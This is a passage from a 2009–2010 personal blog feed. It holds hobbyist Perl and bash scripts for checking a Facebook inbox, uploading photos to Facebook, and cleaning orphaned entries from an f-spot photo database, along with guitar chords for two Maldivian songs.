src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-7377909541425067207</id><published>2009-07-16T01:16:00.001+08:00</published><updated>2010-07-18T04:24:46.969+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Facebook inbox count for conky/others</title><content type='html'>YAFS again! I'll just throw this out there.&lt;br /&gt;&lt;br /&gt;small perl (c-ish again I guess) script to get number of unread messages in facebook. for use with conky etc... supply username and pass as args.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:pl"&gt;#!/usr/bin/perl&lt;br /&gt;use strict;&lt;br /&gt;use WWW::Mechanize;&lt;br /&gt;use HTTP::Cookies;&lt;br /&gt;&lt;br /&gt;my $username = @ARGV[0];&lt;br /&gt;my $password = @ARGV[1];&lt;br /&gt;&lt;br /&gt;my $mech = WWW::Mechanize-&amp;gt;new();&lt;br /&gt;$mech-&amp;gt;cookie_jar(HTTP::Cookies-&amp;gt;new());&lt;br /&gt;$mech-&amp;gt;post("https://login.facebook.com/login.php?m&amp;amp;next=http://m.facebook.com/inbox",{email=&amp;gt;$username,pass=&amp;gt;$password});&lt;br /&gt;$mech-&amp;gt;content() =~ /Inbox\s\((\d+)\)/;&lt;br /&gt;&lt;br /&gt;print $1?("$1 New Message".($1&amp;gt;1?"s\n":"\n")):"0 New Messages\n";&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-7377909541425067207?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/7377909541425067207/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2009/07/facebook-inbox-count-for-conkyothers.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7377909541425067207'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7377909541425067207'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2009/07/facebook-inbox-count-for-conkyothers.html' title='Facebook inbox count for conky/others'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-5403026983197956498</id><published>2009-07-12T05:58:00.002+08:00</published><updated>2010-07-18T04:25:57.269+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='nautilus'/><title type='text'>Uploading photos to Facebook groups with Perl</title><content type='html'>here we go again, YAFS (yet another facebook script)&lt;br /&gt;&lt;br /&gt;a little different this time since it's in Perl, which is new to me. This script takes a list of file names as arguments, and uploads them to a specified group on facebook. It uses WWW::Mechanize (which is awesome) to do the heavy lifting, and also depends on imagemagick (to resize images)&lt;br /&gt;&lt;br /&gt;do note however that this was NOT written to be platform independent so windows users might encounter some problemns. However it should be fixable with a little modification.&lt;br /&gt;&lt;br /&gt;USAGE&lt;br /&gt;&lt;br /&gt;you'll need to edit the lines for your user-name and password.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;perl gup.pl GID [file1] [file2] ...&lt;/blockquote&gt;where GID is the concerned groupID. You need to be a member of the group, and should have upload rights to its photo album.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: pl"&gt;#!/usr/bin/perl&lt;br /&gt;# -----------------------------------------------&lt;br /&gt;# Script to upload photos to a Facebook group.&lt;br /&gt;# 2009 - kudanai, http://kudanai.blogspot.com&lt;br /&gt;#&lt;br /&gt;# This script can act as a nautilus extension.&lt;br /&gt;# (preset GID and set $i=0 on line 59)&lt;br /&gt;#&lt;br /&gt;# This program is distributed in the hope that&lt;br /&gt;# it will be useful,but WITHOUT ANY WARRANTY;&lt;br /&gt;# without even the implied warranty of&lt;br /&gt;# MERCHANTABILITY or FITNESS FOR A PARTICULAR&lt;br /&gt;# PURPOSE.&lt;br /&gt;# -----------------------------------------------&lt;br /&gt;&lt;br /&gt;use strict;&lt;br /&gt;use WWW::Mechanize;&lt;br /&gt;use HTTP::Cookies;&lt;br /&gt;&lt;br /&gt;#edit your username, password and group_id here&lt;br /&gt;#these values MUST BE CORRECT for the script&lt;br /&gt;#to work properly&lt;br /&gt;my $username = 'username@example.com';&lt;br /&gt;my $password = 'password';&lt;br /&gt;my $gid = $ARGV[0];&lt;br /&gt;&lt;br /&gt;#-----no need to edit beyond this point-----&lt;br /&gt;&lt;br /&gt;#url for login page + redirect instruction&lt;br /&gt;my $url = "https://login.facebook.com/login.php?" .&lt;br /&gt;"&amp;amp;next=http%3A%2F%2Fwww.facebook.com%2Feditalbum.php%3Foid%3D".&lt;br /&gt;$gid."%26add%3D1%26htmlup%3D1";&lt;br /&gt;&lt;br /&gt;#initialize objects&lt;br /&gt;my $mech = WWW::Mechanize-&gt;new();&lt;br /&gt;$mech-&gt;cookie_jar(HTTP::Cookies-&gt;new());&lt;br /&gt;&lt;br /&gt;#notify&lt;br /&gt;#system("notify-send -i fbnotif UPLOADING \"Logging in\"");&lt;br /&gt;&lt;br /&gt;$mech-&gt;get($url);&lt;br /&gt;$mech-&gt;submit_form(&lt;br /&gt;form_number =&gt; 1,&lt;br /&gt;fields =&gt;{&lt;br /&gt;email=&gt;$username,&lt;br /&gt;pass=&gt;$password&lt;br /&gt;},&lt;br /&gt;button=&gt;'login'&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;#notify - if you have libnotify installed, uncomment&lt;br /&gt;#these notify commands to get progress notifications&lt;br /&gt;#system("notify-send -i fbnotif UPLOADING \"Uploading photos\"");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#loop through args and post the files&lt;br /&gt;#five at a time.&lt;br /&gt;&lt;br /&gt;my $i=1;&lt;br /&gt;while(defined $ARGV[$i])&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;$mech-&gt;form_name('upload');&lt;br /&gt;for(my $j=1;$j&lt;6;$j++,$i++)&lt;br /&gt;{&lt;br /&gt;if(defined $ARGV[$i])&lt;br /&gt;{&lt;br /&gt;system("convert -resize 604 \"".$ARGV[$i]."\" /tmp/".$j.".fgup.jpg");&lt;br /&gt;$mech-&gt;field("file$j"=&gt;"/tmp/$j.fgup.jpg");&lt;br /&gt;}   &lt;br /&gt;}&lt;br /&gt;$mech-&gt;tick('agree','1');&lt;br /&gt;$mech-&gt;submit();&lt;br /&gt;if(defined $ARGV[$i]) {&lt;br /&gt;$mech-&gt;back()&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#remove temporary images&lt;br /&gt;system( "find /tmp -name '*.fgup.jpg' -exec rm {} \\;&gt;/dev/null" );&lt;br /&gt;&lt;br /&gt;#notify&lt;br /&gt;#system("notify-send -i fbnotif UPLOADING \"Finished Uploads\"");&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-5403026983197956498?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/5403026983197956498/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2009/07/uploading-photos-to-facebook-groups.html#comment-form' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5403026983197956498'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5403026983197956498'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2009/07/uploading-photos-to-facebook-groups.html' title='Uploading photos to Facebook groups with Perl'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-5936487748526854333</id><published>2009-07-08T19:49:00.004+08:00</published><updated>2009-07-08T21:35:50.893+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='photography'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><title type='text'>Removing dead/orphan entries from f-spot's database</title><content type='html'>This seems like a common problem for a lot of people -&lt;br /&gt;&lt;br /&gt;dead or orphaned entries in f-spot :| technically, you shouldn't go behind f-spots back and delete the files directly, but sometimes ...well shit happens. like for me, I somehow managed to re-import the same pictures into my database twice..and was left with a crapload of duplicate images in my album..&lt;br /&gt;&lt;br /&gt;the first problem is easily solvable, simply running&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;fdupes -dN&lt;br /&gt;&lt;br /&gt;&lt;dir&gt;&lt;/dir&gt;&lt;/blockquote&gt;removes the duplicate entries in the given directory (use with caution)&lt;br /&gt;&lt;br /&gt;but that still left us with f-spot's internal database still linking to dead entries&lt;br /&gt;&lt;br /&gt;this makes me very sad...very very sad, as f-spot doesn't have a "refresh catalog" option.&lt;br /&gt;&lt;br /&gt;so I came up with this not-so elegant but it works solution... so here we go&lt;br /&gt;&lt;br /&gt;&lt;b&gt;PROCEED WITH CAUTION....CAUTION I SAY!!! NOTE THE PROCEDURE BELOW WILL REMOVE REFERENCES TO MODIFIED VERSIONS AND SHITE AS WELL...&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1.backup your database&lt;br /&gt;&lt;blockquote&gt;cp ~/.gnome2/f-spot/photos.db ~/.gnome2/f-spot/photos.db.backup&lt;/blockquote&gt;CHECK CHECK AND DOUBLE CHECK if that worked..&lt;br /&gt;&lt;br /&gt;2.extract the photo information&lt;br /&gt;&lt;blockquote&gt;sqlite3 ~/.gnome2/f-spot/photos.db  'select id,uri from photos;' &amp;gt; entries&lt;/blockquote&gt;3.check for the dead entries&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;cat entries | while read i;do if [ ! -e "$(echo ${i} | cut -f2 -d'|' | sed 's/file:\/\///g')" ];then echo ${i};fi;done &amp;gt; deads&lt;/blockquote&gt;&lt;br /&gt;watch for line breaks...the above is a single line! Give it time to process...it may take a while depending on your db size (mine took 4 minutes)&lt;br /&gt;&lt;br /&gt;4.delete the entries from the main table&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;cut -f1 -d"|" deads | while read i;do sqlite3 ~/.gnome2/f-spot/photos.db "delete from photos where id=${i};";done&lt;/blockquote&gt;.... AND from the version table&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;cut -f1 -d"|" deads | while read i;do sqlite3 ~/.gnome2/f-spot/photos.db "delete from photo_versions where photo_id=${i};";done&lt;/blockquote&gt;5. Now remve the working files you created&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;rm entries deads&lt;/blockquote&gt;&lt;br /&gt;and tadaaa!!!!!&lt;br /&gt;&lt;br /&gt;a few things to note&lt;br /&gt;1.it's not perfect&lt;br /&gt;2.if you have edited versions, and the original is missing, references to edited versions will be removed.&lt;br /&gt;3.you can fine tune the SQL in step 2 to restrict removals to specific folders or such;&lt;br /&gt;&lt;blockquote&gt;eg: &lt;br /&gt;SELECT id,uri FROM photos WHERE uri LIKE '%/2009/07/%';&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-5936487748526854333?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/5936487748526854333/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2009/07/removing-deadoprphan-entries-from-f.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5936487748526854333'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5936487748526854333'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2009/07/removing-deadoprphan-entries-from-f.html' title='Removing dead/orphan entries from f-spot&apos;s database'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-7610899345989709788</id><published>2009-06-29T15:04:00.000+08:00</published><updated>2009-06-29T15:07:53.339+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><title type='text'>Automatic birthday wishes on facebook</title><content type='html'>here we go yet again...another update. This time, aimed at trying to make the whole thing less complicated for people, and also remove the whole linux limitation thing as opposed to the &lt;span style="font-size: large;"&gt;&lt;a href="http://kudanai.blogspot.com/2009/03/automatic-birthday-wishes-on-facebook.html"&gt;older version&lt;/a&gt;&lt;/span&gt; that I put up three months ago. The response to this has been quite positive...&lt;br /&gt;&lt;br /&gt;presenting... &lt;b&gt;keyku&lt;/b&gt;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;This new version has been setup as a facebook application and not a hack, so it's more elegant this time, and errr.... a bit more...legal let's say (the old version violated the facebook terms of use a little...this one does not)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;setup instructions can be found on the&lt;span style="font-size: large;"&gt; &lt;a href="http://www.facebook.com/apps/application.php?id=108423227280"&gt;application page&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;feel free to drop in there and tinker around, suggest features, flame the discussion board etc :P&lt;br /&gt;&lt;br /&gt;have fun.&lt;br /&gt;&lt;br /&gt;once again, thanks to &lt;a href="http://www.cs.ubc.ca/%7Edavet/"&gt;Dave Tompkins&lt;/a&gt; for his help.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-7610899345989709788?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/7610899345989709788/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2009/06/automatic-birthday-wishes-on-facebook.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7610899345989709788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7610899345989709788'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2009/06/automatic-birthday-wishes-on-facebook.html' title='Automatic birthday wishes on facebook'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-932400375024984519</id><published>2009-05-26T02:12:00.011+08:00</published><updated>2010-07-22T21:02:56.540+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><title type='text'>Upload photos to facebook from Nautilus</title><content type='html'>&lt;i&gt;EDIT: &lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=" font-weight: bold;font-size:130%;color:red;"&gt;~UPDATED 15-07-2010&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Added ability to create album.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Photo's will be auto-rotated if EXIF information is available.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;12-JUN-2010&lt;/i&gt;&lt;br /&gt;&lt;i&gt;reworked the mechanism to work with the new FBCMD.&lt;br /&gt;Does not need a manual update of albumdata file (will be handled on it's own.)&lt;br /&gt;&lt;br /&gt;If you run this on a directory, it will upload all *.jpg files in said directory.&lt;br /&gt;&lt;br /&gt;30-MAY-09&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Fixed stupid bug where the cancelling uploaded the picture anyway.Thank you Mr. Anonymous bug reporter&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;It's been a while since I've posted an update, not that I suspect that anybody missed me or anything. Nonetheless I'm throwing out an obligatory apology and the explaination for it being "been busy"&lt;br /&gt;&lt;br /&gt;anyway this is something I whipped up today that somebody might find useful. It's a nautilus script that uploads your photos to facebook. So you can just right-click on a photo and upload it there.It's fairly basic (offers multiple uploads,album-selection, no-tagging,no caption), and once again it's not completely idiot proof so I'm not taking responsibility if you muck something up.&lt;br /&gt;&lt;br /&gt;currently this depends on the following&lt;br /&gt;&lt;ul&gt;&lt;li&gt; libnotify (particularly notify-send)&lt;/li&gt;&lt;li&gt;zenity&lt;/li&gt;&lt;li&gt;imagemagick&lt;/li&gt;&lt;li&gt;fbcmd (and hence php)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;fbcmd here being the facebook command-line application by Dave Tompkins, which can be found at &lt;a href="http://www.facebook.com/apps/application.php?id=42463270450"&gt;http://fbcmd.dtompkins.com&lt;/a&gt;. So once you have that up and running and properly authorized (find instructions on fbcmd page)&lt;br /&gt;&lt;br /&gt;The script needs to go into ~/.gnome2/nautilus-scripts&lt;br /&gt;&lt;br /&gt;&lt;del&gt;&lt;/del&gt;&lt;br /&gt;Next you should setup an albumid file because it's faster if you maintain a local list). Do this by running&lt;br /&gt;&lt;br /&gt;php fbcmd.php albums | tee ~/.fbaids&lt;br /&gt;&lt;br /&gt;if you'd rather fetch album information from facebook everytime you can replace the line "aidlist=~/.fbaids" with "aidlist=\"$(php FBCMDPATH albums)\""&lt;br /&gt;that should do it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;please note that I haven't implemented a check on weather the upload was successful or not. Also there is no filetype check so be careful.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: pl"&gt;#!/bin/bash&lt;br /&gt;# AUTHOR: (c) Naail Abdul Rahman (http://kudanai.blogspot.com)&lt;br /&gt;# VERSION: 1.0&lt;br /&gt;# LICENSE: GPL (http://www.gnu.org/licenses/gpl.html)&lt;br /&gt;# REQUIRES: libnotify, zenity, FBCMD (http://fbcmd.dtompkins.com),imagemagick&lt;br /&gt;# NAME:  Upload to Facebook&lt;br /&gt;# DESCRIPTION: Simple nautilus script to invoke FBCMD upload functionality.&lt;br /&gt;#  Currently only supports pictures.Hope to adding notes as well.&lt;br /&gt;#  FBCMD is a command line interface to facebook by Dave Tompkins &lt;br /&gt; &lt;br /&gt;fbcmdl=fbcmd #command to invoke fbcmd...usually just fbcmd&lt;br /&gt; &lt;br /&gt;function notify() {&lt;br /&gt; notify-send -i fbnotif UPLOADING "$@"&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;function makealbum() {&lt;br /&gt; title=$(zenity --entry --title="Title?" --text="Enter Album Title (Required):")&lt;br /&gt; if [ -z $title ]&lt;br /&gt; then &lt;br /&gt;  getaid&lt;br /&gt; fi&lt;br /&gt; &lt;br /&gt; desc=$(zenity --entry --title="Description?" \&lt;br /&gt;  --text="Enter a description for the album (optional):\nLeave blank if you don't want to set a descroption")&lt;br /&gt; location=$(zenity --entry --title="Location?" \&lt;br /&gt;  --text="Enter a location for the album (optional):\nLeave blank if you don't want to set a location")&lt;br /&gt; privacyOpt=$(zenity --entry --title="Privacy?" \&lt;br /&gt;  --text="Who can see this album? (default:everyone)\n1.friends\n2.friends-of-friends\n3.networks\n4.everyone")&lt;br /&gt; &lt;br /&gt;  case $privacyOpt in&lt;br /&gt;   1) privacy="friends"&lt;br /&gt;    ;;&lt;br /&gt;   2) privacy="friends-of-friends"&lt;br /&gt;    ;;&lt;br /&gt;   3) privacy="networks"&lt;br /&gt;    ;;&lt;br /&gt;   4) privacy="everyone"&lt;br /&gt;    ;;&lt;br /&gt;   *) privacy="everyone"&lt;br /&gt;    ;;&lt;br /&gt;  esac&lt;br /&gt; notify "creating album $title"&lt;br /&gt; $fbcmdl addalbum "${title}" "${desc}" "${location}" $privacy&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;function getaid() {&lt;br /&gt; &lt;br /&gt; aid=$(zenity --entry --title="Album?" \&lt;br /&gt;   --text="Enter AlbumID or #\n\nenter:\n  0 for list\n  l (low L) for latest\n a for new")&lt;br /&gt;  &lt;br /&gt; if [ -z $aid ];&lt;br /&gt; then&lt;br /&gt;  echo "null value for aid - quiting"&lt;br /&gt;  notify "upload cancelled"&lt;br /&gt;  exit&lt;br /&gt; else&lt;br /&gt;  case $aid in&lt;br /&gt;   0) echo "please wait, fetching album data"&lt;br /&gt;    $fbcmdl albums | zenity --text-info \&lt;br /&gt;       --title "album names and stuff" --width=600&lt;br /&gt;    getaid&lt;br /&gt;    ;;&lt;br /&gt;   l) aid="latest"&lt;br /&gt;    ;;&lt;br /&gt;   a) makealbum&lt;br /&gt;    echo "created album.."&lt;br /&gt;    aid="latest"&lt;br /&gt;    ;;&lt;br /&gt;  esac&lt;br /&gt; fi&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;getaid&lt;br /&gt;notify "uploading photos"&lt;br /&gt;  &lt;br /&gt;for arg &lt;br /&gt;do&lt;br /&gt; if [ -f $arg ]&lt;br /&gt; then&lt;br /&gt;  echo "adding regular file ${arg}"&lt;br /&gt;  convert -auto-orient -resize '604&gt;' "$arg" /tmp/fbuplpictmpxx.jpg&lt;br /&gt;  $fbcmdl addpic /tmp/fbuplpictmpxx.jpg $aid&lt;br /&gt; elif [ -d $arg ]&lt;br /&gt; then&lt;br /&gt;  echo "uploading directory ${arg}"&lt;br /&gt;  $fbcmdl addpicd $arg $aid&lt;br /&gt; fi&lt;br /&gt;done&lt;br /&gt; &lt;br /&gt;notify "upload finished"&lt;br /&gt;exit&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-932400375024984519?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/932400375024984519/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2009/05/upload-photos-to-facebook-from-nautilus.html#comment-form' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/932400375024984519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/932400375024984519'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2009/05/upload-photos-to-facebook-from-nautilus.html' title='Upload photos to facebook from Nautilus'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-709141566140658366</id><published>2009-04-14T03:36:00.002+08:00</published><updated>2010-07-18T04:27:01.694+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='music'/><title type='text'>Guitar Chords: Aadheys (Amir)</title><content type='html'>Here goes another popular song. This may not be entirely accurate (so feel free to criticise and belittle) , but it's playable. This is another one of those melodic tunes you can just strum along to...hum...try to woo somebody with etc..&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:ch"&gt;The original tune is a half step up (I think).&lt;br /&gt;This is in C, so if you want to play it like&lt;br /&gt;it sounds slap on a capo (1st fret)or substitue&lt;br /&gt;the chords like so:&lt;br /&gt;&lt;br /&gt;C = Db&lt;br /&gt;G = Ab&lt;br /&gt;F = F#&lt;br /&gt;Am = F&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;br /&gt;&lt;br /&gt;C&lt;br /&gt;thee neyvaaa ey magey&lt;br /&gt;C               G&lt;br /&gt;vindhey thee magey&lt;br /&gt;hithaa furaanaige dhirumey&lt;br /&gt;F                         C&lt;br /&gt;thee noon hey reydhuvaa magey&lt;br /&gt;&lt;br /&gt;thee ummeedhey magey&lt;br /&gt;maazee ey magey&lt;br /&gt;dhelo fureyney dhiyaimaa&lt;br /&gt;thee noon hey loabivaa magey&lt;br /&gt;&lt;br /&gt;Am                  G&lt;br /&gt;heyo nuvaaney rovvaafaa nudhaashey&lt;br /&gt;Am                G&lt;br /&gt;loabivaa ey annaashey&lt;br /&gt;F&lt;br /&gt;aadheyhey mee kuraa&lt;br /&gt;C&lt;br /&gt;hutteyshey!&lt;br /&gt;&lt;br /&gt;Am                    G&lt;br /&gt;maafu dheyshey, heelaashey&lt;br /&gt;Am               F          G&lt;br /&gt;kukkurevijjeyey, kukkuree mashey..&lt;br /&gt;&lt;br /&gt;thee raanee ey magey&lt;br /&gt;milkey thee magey&lt;br /&gt;govaanamey loabi vaathee&lt;br /&gt;thee noon hey aashigaa magey&lt;br /&gt;&lt;br /&gt;thee manziley magey&lt;br /&gt;raasthaa ey magey&lt;br /&gt;niyaa ivey tho hureemey&lt;br /&gt;thee noon hey saahibaa magey&lt;br /&gt;&lt;br /&gt;heyo nuvaaney dhookoffa dhiyaimee&lt;br /&gt;roala roala hureveynee&lt;br /&gt;aadheyhey tho inthizaar&lt;br /&gt;kureveynee!&lt;br /&gt;&lt;br /&gt;hoadha hoada, hureveynee&lt;br /&gt;is ufulaaladhee, hiy magey roneee...&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-709141566140658366?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/709141566140658366/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2009/04/guitar-chords-aadheys-amir.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/709141566140658366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/709141566140658366'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2009/04/guitar-chords-aadheys-amir.html' title='Guitar Chords: Aadheys (Amir)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-3689484972764042608</id><published>2009-04-12T20:16:00.002+08:00</published><updated>2010-07-18T04:28:39.465+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='music'/><title type='text'>Guitar Chords: Raarukugaa (Trio)</title><content type='html'>....and here we go, another instalment from my &lt;a href="http://kudanai.blogspot.com/search/label/music"&gt;guitar chord series.&lt;/a&gt; Let's hope this one doesn't get &lt;a href="http://kudanai.blogspot.com/2009/04/you-thieving-bastards.html"&gt;ripped off&lt;/a&gt; as well! If you're gonna, at least leave a comment here or something. Be nice.. don't be an asshole.&lt;br /&gt;&lt;br /&gt;Thanks to &lt;a href="http://mv-lyrics.blogspot.com/2008/03/raarukugaa-trio.html"&gt;mvlyrics&lt;/a&gt; for the lyrics&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Right here we go then, a video of the song first&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="youtube-video"&gt;&lt;object height="355" width="425"&gt;&lt;param name='movie' value='http://www.youtube.com/v/sxaNlQtrBRE'&gt;&lt;/param&gt;&lt;param name='wmode' value='transparent'&gt;&lt;/param&gt;&lt;embed width='425' height='355' src='http://www.youtube.com/v/sxaNlQtrBRE' type='application/x-shockwave-flash' wmode='transparent'&gt; &lt;/embed&gt;           &lt;/object&gt;&lt;/div&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And now for the chords&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:ch"&gt;The song basically has three chords: Am F and G&lt;br /&gt;just cycle through them over and over. The intro&lt;br /&gt;picking is simple, however the way they play the&lt;br /&gt;chords are slightly different. here&lt;br /&gt;&lt;br /&gt;Am - x7750x&lt;br /&gt;F  - x3320x&lt;br /&gt;G  - x5540x&lt;br /&gt;&lt;br /&gt;for the main verses and then for the saharo &lt;br 